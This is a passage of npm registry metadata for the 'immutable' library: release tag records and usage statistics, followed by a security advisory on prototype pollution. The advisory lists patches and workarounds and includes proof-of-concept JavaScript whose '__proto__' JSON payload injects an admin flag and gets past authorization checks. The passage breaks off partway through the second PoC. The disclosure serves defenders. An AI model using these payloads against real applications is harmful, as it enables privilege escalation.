404f9","kind":"tag","published_at":"2015-01-12T17:21:50.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.6.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.6.0/manifests"},{"name":"3.5.0","sha":"57cbf92ca6064c7d4555ad4b9e804be3927b0720","kind":"tag","published_at":"2015-01-07T03:24:51.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.5.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.5.0/manifests"},{"name":"3.4.1","sha":"7cd0bc61b6552e88626587be4ff4adc5a9759c5a","kind":"tag","published_at":"2014-12-18T22:28:06.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.4.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.4.1/manifests"},{"name":"3.4.0","sha":"c6f589388c174b3ad874a83e7f9490b3abfbd59c","kind":"tag","published_at":"2014-12-16T23:15:50.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.4.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.4.0/manifests"},{"name":"3.3.0","sha":"9c9d4cb76b0f0adacede83fd4770c0d7091bac24","kind":"tag","published_at":"2014-11-24T02:59:22.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.3.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.3.0/manifests"},{"name":"3.2.1","sha":"48a031975b21edccbdcff4c6233deff2d05f90d8","kind":"tag","published_at":"2014-11-15T07:17:48.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.2.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.2.1/manifests"},{"name":"3.2.0","sha":"9798986ddffc3164b02fa5e70ddfeec9453e7eff","kind":"tag","published_at":"2014-11-15T00:10:46.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.2.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.2.0/manifests"},{"name":"3.1.0","sha":"766772a8ba37e048a7e35f9ef5157d3071f21d2d","kind":"tag","published_at":"2014-11-12T18:43:26.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.1.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.1.0/manifests"},{"name":"3.0.3","sha":"800f26a3b6d94d57307748350e9c126aaf626c78","kind":"tag","published_at":"2014-11-05T22:04:20.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.0.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"ecad783a34eb6886d9416838c9888c8df6f7240b","kind":"tag","published_at":"2014-11-01T02:42:59.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.0.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"49a57475fead24e11cee06e444d06dc211f8e53e","kind":"tag","published_at":"2014-10-29T17:48:57.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.0.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"83d6845d1d693462d72885865d0491e97e4266f4","kind":"tag","published_at":"2014-10-29T03:14:44.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/3.0.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/3.0.0/manifests"},{"name":"2.6.2","sha":"4421faae23842386fbbcdd37c4693cd90d8a8ba8","kind":"tag","published_at":"2014-10-28T17:29:50.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.6.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"043213d7a3c0c5f42802ebfb7552f17814ed92ed","kind":"tag","published_at":"2014-10-24T17:53:34.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.6.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"e7b3d3f8e90ea1c2865c50b5b7acd8a31d056eef","kind":"tag","published_at":"2014-10-24T00:35:29.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.6.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.6.0/manifests"},{"name":"2.5.1","sha":"2311687e6c28648ae6fcbf874e5185c49b74766a","kind":"tag","published_at":"2014-10-21T22:53:25.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.5.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"46cced88052aa328329470b81fb6802e4e1a5a83","kind":"tag","published_at":"2014-10-17T23:58:52.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.5.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.5.0/manifests"},{"name":"2.3.2","sha":"a5eed52703ce90e91803f551e6455de609484c85","kind":"tag","published_at":"2014-10-13T22:22:02.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.3.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.3.2/manifests"},{"name":"2.3.1","sha":"430a8a604fdfd1fc238f95a23fc0a6597c7cce57","kind":"tag","published_at":"2014-10-13T22:01:06.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.3.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"f3cb429214e2957d2baeca5e3750e9b4ec5713f1","kind":"tag","published_at":"2014-10-12T06:59:30.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.3.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.3.0/manifests"},{"name":"2.2.3","sha":"7d06d42afb3aa1a04714812e3f3430dcf63ed0ef","kind":"commit","published_at":"2014-10-11T07:55:07.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.2.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.3/manifests"},{"name":"2.2.2","sha":"d986fa0569675204810daed8ec9d0771f9c8b7cb","kind":"tag","published_at":"2014-10-10T23:23:15.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.2.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"0d34b3376ec97514d6a2973ff8cd1378622c06bd","kind":"tag","published_at":"2014-10-08T19:47:36.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.2.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"02079c528a98205b9abad4b2ea495cdee00b113c","kind":"tag","published_at":"2014-10-08T18:55:19.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.2.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"58a6924dc2a95281810ea0793a48a5fbcabb204f","kind":"tag","published_at":"2014-10-06T19:43:19.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.1.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.1.0/manifests"},{"name":"2.0.17","sha":"c5d81ffb94c61c20efb70636c4395061a1e9886a","kind":"tag","published_at":"2014-09-02T20:02:47.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.17","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.17/manifests"},{"name":"2.0.16","sha":"b90f7f00370c5c5e6af2c3226ca8abca3fd6fce2","kind":"tag","published_at":"2014-08-26T20:43:43.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.16","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.16/manifests"},{"name":"2.0.15","sha":"07e90dee91eebcc07d4d5b352eab657d427730cf","kind":"tag","published_at":"2014-08-23T05:58:38.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.15","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.15/manifests"},{"name":"2.0.14","sha":"720cd4d42ba13e7b5250f39ec4b5b573651524f8","kind":"tag","published_at":"2014-08-20T22:54:08.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.14","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.14/manifests"},{"name":"2.0.13","sha":"f3655ac28a9f2b893b8832e093e3532c8f7c6ec9","kind":"tag","published_at":"2014-08-20T04:16:49.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.13","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.13/manifests"},{"name":"2.0.12","sha":"ee825fddfc8daf6ed23380a4ffe615a253e82e50","kind":"tag","published_at":"2014-08-19T04:11:44.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.12","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.12/manifests"},{"name":"2.0.11","sha":"d840fff854d82ae210b8c8263c70c832cf461933","kind":"tag","published_at":"2014-08-16T01:04:59.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.11","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.11/manifests"},{"name":"2.0.10","sha":"ff86e988047396e38f66516aadec4bd02161bed0","kind":"tag","published_at":"2014-08-15T06:14:15.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.10","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.10/manifests"},{"name":"2.0.9","sha":"f1ca887641e65d322e2242ab7474f5c3be1b74ce","kind":"tag","published_at":"2014-08-13T00:15:25.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.9","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.9/manifests"},{"name":"2.0.8","sha":"fff56e80ef4c30be38938f3cdd6648ba2e8fa344","kind":"tag","published_at":"2014-08-12T20:11:28.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.8","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.8/manifests"},{"name":"2.0.7","sha":"64d30f5f94f31cfa604640413022a6412e6b3381","kind":"tag","published_at":"2014-08-12T19:20:06.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.7","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.7/manifests"},{"name":"2.0.6","sha":"fe2fe008a758e1348686b3ed999d364412e114ee","kind":"tag","published_at":"2014-08-08T02:05:29.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.6","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.6/manifests"},{"name":"2.0.5","sha":"95fed392f8f6d735fb6c61d19304c43e63d971d4","kind":"tag","published_at":"2014-08-07T23:55:43.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.5","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.5/manifests"},{"name":"2.0.4","sha":"9552a112c5022c63d95fcc0a27f1128d8adeb85c","kind":"tag","published_at":"2014-08-04T04:50:54.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/2.0.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/2.0.4/manifests"}]},"repo_metadata_updated_at":"2026-06-03T23:12:27.383Z","dependent_packages_count":8975,"downloads":168336973,"downloads_period":"last-month","dependent_repos_count":878497,"rankings":{"downloads":0.023300232947569822,"dependent_repos_count":0.038194858944606225,"dependent_packages_count":0.010678132608169483,"stargazers_count":0.5022555501647717,"forks_count":0.9173884901777608,"docker_downloads_count":0.029844011648473688,"average":0.2536102127485586},"purl":"pkg:npm/immutable","advisories":[{"uuid":"GSA_kwCzR0hTQS13ZjZ4LTd4NzctbXZnd84ABTIp","url":"https://github.com/advisories/GHSA-wf6x-7x77-mvgw","title":"Immutable is vulnerable to Prototype Pollution","description":"## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) =\u003e u.admin === true;\nconst isAdminByRole = (u) =\u003e u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true  ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) =\u003e b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: 